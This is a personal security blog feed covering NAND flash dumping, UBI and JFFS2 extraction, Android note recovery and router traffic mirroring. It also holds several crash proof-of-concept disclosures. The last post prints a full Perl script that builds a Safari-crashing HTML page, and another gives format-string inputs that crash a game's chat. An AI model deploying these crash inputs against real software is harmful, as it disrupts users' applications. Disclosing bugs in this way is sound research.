NoBytes.com

Adventures into NAND Dumping Part 2

2017-01-03T00:55:00.000+00:00

Following on from my previous post into NAND dumping, I thought I would post about a recent issue I encountered, and also how to extract UBI file-systems.

In this particular case the NAND chip was a SK Hynix H27U1G8F2BTR-BC.

DumpFlash successfully dumped the contents, and listed it with a ID of: ADF101DA.

When running the Nand-dump-tool.py (to remove the OOB data), the tool reported back an error:

I had an immediate suspicion that the ID code was incorrect, so I resorted to the datasheet:

The 1st bytes represents the Manufacturer Code.
The 2nd bytes represents the Device Code.
The 3rd bytes represents the Internal chip number, Cell Type, Number of Simultaneously Programmed Pages.
The 4th bytes represents the Page size, Block size, Organization, Spare size.

I was then able to remove the OOB data using the new ID (ADF1001D):

Extracting UBI contents:

From here Binwalk was able carve out the UBI data, but was unable to successfully extract its contents:

Using the ubireader package (which is a Binwalk dependency), you can list the Volumes which are contained within the UBI data:

Then we can extract the volumes:

It should be noted, not all the extracted files are actually UBIFS:

Next I let Binwalk automagically extract all the contents:

Adventures into NAND Dumping Part 1

2016-06-19T20:28:00.000+00:00

Over the next couple of blog posts I intend to document my adventures into NAND dumping.
My end goal is to dump the contents of NAND and successfully extract its contents.
This is a learning process for me, so if any information is wrong please let me know and I will correct my post. Additionally if you have any tips or tricks please comment below.

High-level key points on NAND memory:

NAND technical specs are quite often vendor specific. You may have to resort to datasheet.
Bad Blocks are blocks that contain one or more invalid bits whose reliability is not guaranteed.
NAND can ship with Bad Blocks from the manufacturer. Manufacturers generally mark Bad Blocks.
The smallest writable unit in NAND is a Page (aka Chunk).
Pages are organised into larger units called a Block.
The number of Pages per Block is vendor specific.
Error Correcting Code (ECC) is used to detect (and sometimes correct) errors.
ECC uses 2 common algorithms: Hamming and BCH
The Out Of Band (OOB) (aka Spare Area) is a reserved area for ECC and sometimes metadata.
The OOB area is stored after each Page.

Physically Accessing the NAND:

I am using a cheap Chinese hot air reflow station to remove NANDs from boards. I have not yet attempted to reattach a NAND.
I intend to add further detail at a later date, but essentially the process is to mask the surrounding area with Kapton tape to protect it from heat, then gradually heat up the NAND until the solder flows and you able remove the NAND using tweezers.

Whilst I do have some Bus Pirates/Blasters I have not yet attempted to dump the NAND using SPI/JTAG/etc, this will come in a later blog post.

Dumping Hardware:

I am using a "TSOP 48 to DIP 48 Pin IC Test Socket Programmer Adapter Converter" with a "Dangerous Prototypes FT2232H Breakout Board 1.0", based on the design by Jeong Wook (https://github.com/ohjeongwook/DumpFlash) to query and dump NAND.

I also have a 48 pin "360-Clip" attached to a "Dangerous Prototypes FT2232H Breakout Board 1.0", using the same design/pin out as above. I have NOT had any success with this.
The intention of using this is so you do not need to detach the NAND from the board. I have tested this with both attached and unattached NAND chips, I can only assume the pin out is wrong?

Dumping Software:

I am using DumpFlash.py also by Jeong Wook on Ubuntu 14.04.4 64bit. DumpFlash requires an older version of pyftdi to work.

Target Device:

This main components of this device are:

ATMEL AT91SAM9610 ARM processor.
2 x Pointec PT483208FHG DRAM.
Toshiba TC58NVG0S3ETA00 NAND.
ATMEL ATMLH322 EEPROM.

It is useful to have an understanding of the target device components as this may hint at what you will expect to find on the NAND. In this case a ARM based architecture rather than the traditional x86.

Dumping the NAND:

First I query the NAND to confirm it is working:

As you can see DumpFlash successfully queried the NAND and pulled back information about the Page sizes, etc.

Next to Dump the NAND:

Dependent on the size of your NAND this process can take several minutes to complete.

With the NAND successfully dumped the first observation is the size discrepancy between the dump and the NAND information. This is because the dump includes both the Main memory and the OOB memory.

Exploring the dump:

Running Binwalk against the dump reveals some promising information, namely the U-Boot Header, Linux Kernel, and JFFS2 file-systems. This indicates the device is Linux based. Unfortunately there are several hundred entries for JFFS2 and Zlib which suggests the data is broken up:

Looking at the dump in a hex editor indicates the OOB areas are likely causing the problem.
To remove the OOB data I use a script by Jean-Michel Picod (https://bitbucket.org/jmichel/tools/src):

For the ID I supply the first 4 bytes of the Full ID we extracted earlier with DumpFlash.py.

Now when I rerun Binwalk I get a more of an expected output:

Next I tried using Binwalks automatic extract parameter but it was unable to extract anything meaningful. So instead I decided to manually carve the JFFS2 file-system from the dump:

I used a block size of 1 and skipped to the beginning of the JFFS2 area as listed in the previous Binwalk output.

From here I tried various tools (Binwalk, jffs2dump, etc) to extract the contents of the JFFS2 file-system without success, so instead I resorted to mounting it directly:

I used nandsim to create a virtual device, and supplied it the first 4 bytes from the ID I previously discovered.

From here the file-system was successfully mounted:

VLC Media Player 2.1.3 - .WAV DoS POC

2014-05-11T12:17:00.001+00:00

VLC Media Player (2.1.3 Rincewind) - .WAV DoS Exploit:

!exploitable results:

Exploitability Classification: UNKNOWN
Recommended Bug Title: Data from Faulting Address controls Branch Selection starting at msvcrt!strcspn+0x000000000000002d (Hash=0x0c543936.0x0c29261d)
The data from the faulting address is later used to determine whether or not a branch is taken.

Download Here.

MPlayer (05/03/2014) - .WAV DoS POC

2014-05-10T15:06:00.001+00:00

MPlayer [05/03/2014] (MPlayer-x86_64-r37182+g09725c1) - .WAV DoS Exploit:

!exploitable results:

Exploitability Classification: PROBABLY_EXPLOITABLE
Recommended Bug Title: Probably Exploitable - Data Execution Prevention Violation near NULL starting at Unknown Symbol @ 0x0000000000000008 called from Unknown Symbol @ 0x00000000067f2340 (Hash=0x48484848.0x53535353)
User mode DEP access violations are probably exploitable if near NULL.

Download Here.

Embedthis Appweb 4.2.0-0 - DoS POC

2013-02-22T18:35:00.001+00:00

Embedthis Appweb 4.2.0-0 - DoS Exploit:

!exploitable result:

Exploitability Classification: UNKNOWN
Recommended Bug Title: Data from Faulting Address controls Branch Selection starting at libmpr!mprSeekFile+0x000000000000000f (Hash=0x0c566765.0x0c1b6765)
The data from the faulting address is later used to determine whether or not a branch is taken.

Download Here.

DD-WRT Network Sniffing

2013-01-13T13:15:00.000+00:00

My DD-WRT router unfortunately does not have the option to create a TAP/Mirror Port, but using IPTables we can make a copy of all traffic and forward it to a IP:

SSH to your Router, in this case we are going to forward traffic to my IDS on: 192.168.1.200

iptables -A PREROUTING -t mangle -j ROUTE --gw 192.168.1.200 --tee
iptables -A POSTROUTING -t mangle -j ROUTE --gw 192.168.1.200 --tee

To confirm the rules have been created we can run the following command:

iptables -L -t mangle

To remove the rule we run the following command:

iptables -F -t mangle

VLC Media Player 2.0.3 - .AVI DoS POC

2012-10-18T19:26:00.002+00:00

VLC media player (2.0.3 Twoflower) - .AVI DoS Exploit:

!exploitable result:

Exploitability Classification: UNKNOWN
Recommended Bug Title: Data from Faulting Address controls Branch Selection starting at KERNELBASE!lstrlenW+0x000000000000001a (Hash=0x2e3a5a04.0x79532c61)
The data from the faulting address is later used to determine whether or not a branch is taken.

Download Here.

Nitro Pro 8.0.3.1 - .PDF DoS POC

2012-10-07T19:27:00.000+00:00

New Nitro Pro 8 (8.0.3.1) PDF Reader - .PDF DoS Exploit:

!exploitable result:

BUG_TITLE:Exploitable - User Mode Write AV starting at npdf!ProvideCoreHFT+0x000000000010886a (Hash=0x265b4f1d.0x020d4f2c)

EXPLANATION:User mode write access violations that are not near NULL are exploitable.

Download Here.

Android ColorNote, notes recovery

2012-03-10T16:44:00.012+00:00

So I decided to upgrade the custom Android ROM on my HTC HD2 (Leo), and totally forgot about some of the important notes I left in the Android app ColorNote.

Fortunately before I upgraded my ROM, I made a backup using Clockwork Recovery Mod and saved it to my PC.

So I put my forensics hat on and got to work:

The backup consisted of the following files:

.android_secure.img boot.img cache.img data.img nandroid.md5 recovery.img sd-ext.img system.img

The IMG files are using the Yet Another Flash File System (YAFFS).

A quick Google and I came across this post on the XDA Devs Forums.
(Download the attachment to the forum thread) This is a Cygwin ported version of 'unyaffs'.

Next was to work out which IMG file to use... So I cheated and asked Android guru Noobhands who pointed me at the data.img (Thx dude!).

The 'unyaffs' is simple to use:

unyaffs.exe data.img

This extracts the contents of the IMG to the current folder.

Android apps store data in the "data" folder. Having a large number of apps on my Phone, I now had to work out which folder was actually ColorNote.
The easy way todo this is to look at the Apps ID in Google Market:

https://play.google.com/store/apps/details?id=com.socialnmobile.dictapps.notepad.color.note

Sure enough, the folder is there. Within this folder is the folder "databases".

This folder contains the following:

colornote.db internal.db internal.db-shm internal.db-wal

Quickly examining the .DB files with a Hexeditor I confirmed they were SQLite 3 databases.

So I opened the colornote.db with SQLite Browser, switched to the 'Browse Data' tab, and changed the table to "notes" and sure enough all my missing notes were there! woot! :)

Now what's also interesting, all of my old deleted notes are also still stored, along with the 'create', 'modified', and 'minor modified' dates.

WinXP Compiled Help File (CHM) DoS (hh.exe)

2011-08-22T13:28:00.009+00:00

Here's a PoC Windows XP 'Compiled Help File' (CHM) DoS which has been sitting on my hard disk for a while, tested working on fully patched WinXP SP3 32bit machine:

Crashing Executable: hh.exe
Version: 5.2.3790.2453

WinDbg result:

(ed8.edc): Stack overflow - code c00000fd (!!! second chance !!!) eax=00042968 ebx=000af0b0 ecx=00042964 edx=0007ebb0 esi=000af0b0 edi=0007ebe0 eip=65e3d633 esp=0007e95c ebp=0007ebb4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 itss!_chkstk+0x33: 65e3d633 8501 test dword ptr [ecx],eax ds:0023:00042964=00000000

!exploitable result:

Exploitability Classification: UNKNOWN Recommended Bug Title: Stack Overflow starting at itss!_chkstk+0x0000000000000033 (Hash=0x7c592e02.0x7a176714)

Download PoC Here

New 'Alien vs Predator' Format String Bugs

2010-02-27T00:15:00.009+00:00

Alien vs Predator (Feb 17 patch) is vulnerable to Format String attacks.

Posting the following in Chat (either in game or in the lobby) will crash your game, I am not sure if it will crash other users, I haven't got anybody to test on.

%s%s%s%s%s%s%s%s%s%s
or
%n%n%n%n%n%n%n%n%n%n

Setting your Name to: '%n' will stop you from ever joining a game, you just get an error reporting your unable to connect.
Setting your Name to '%i' will set your Name to random numbers which changes as you play.

I tried contacting Steam/Rebellion/Sega, but so far had no response.

New 0Day Safari 'background' DoS

2010-01-20T18:25:00.004+00:00

New 0Day Safari DoS I found last night.
Can somebody test to confirm its working for them?
Usage: perl Safari_4.0.4_background_DoS.pl output.htm 114516
Then browse to output.htm in Safari.

#!/usr/bin/perl # # Safari 4.0.4 (531.21.10) - Stack Overflow/run # 0Day DoS POC by John Cobb - www.NoBytes.com - 20/01/2010 - [v1.0] # Tested on WinXP (32bit) SP3 # # Magic Numbers: # 114516 -> 114718 : Safari quits without error # 114719 : Safari quits with illegal operation: # AppName: safari.exe # AppVer: 5.31.21.10 # ModName: cfnetwork.dll # ModVer: 1.450.5.0 # Offset: 000567a7 $filename = $ARGV[0]; $buffer = $ARGV[1]; if(!defined($filename)) { print "Usage: $0 <filename.html> <buffer>\n\n"; } $header = "<html> <head>" . "\n"; $crash = "<body background = \"" . "A" x $buffer . "\">" . "\n"; $footer = "</html>" . "\n"; $data = $header . $crash . $footer; open(FILE, '>' . $filename); print FILE $data; close(FILE); exit;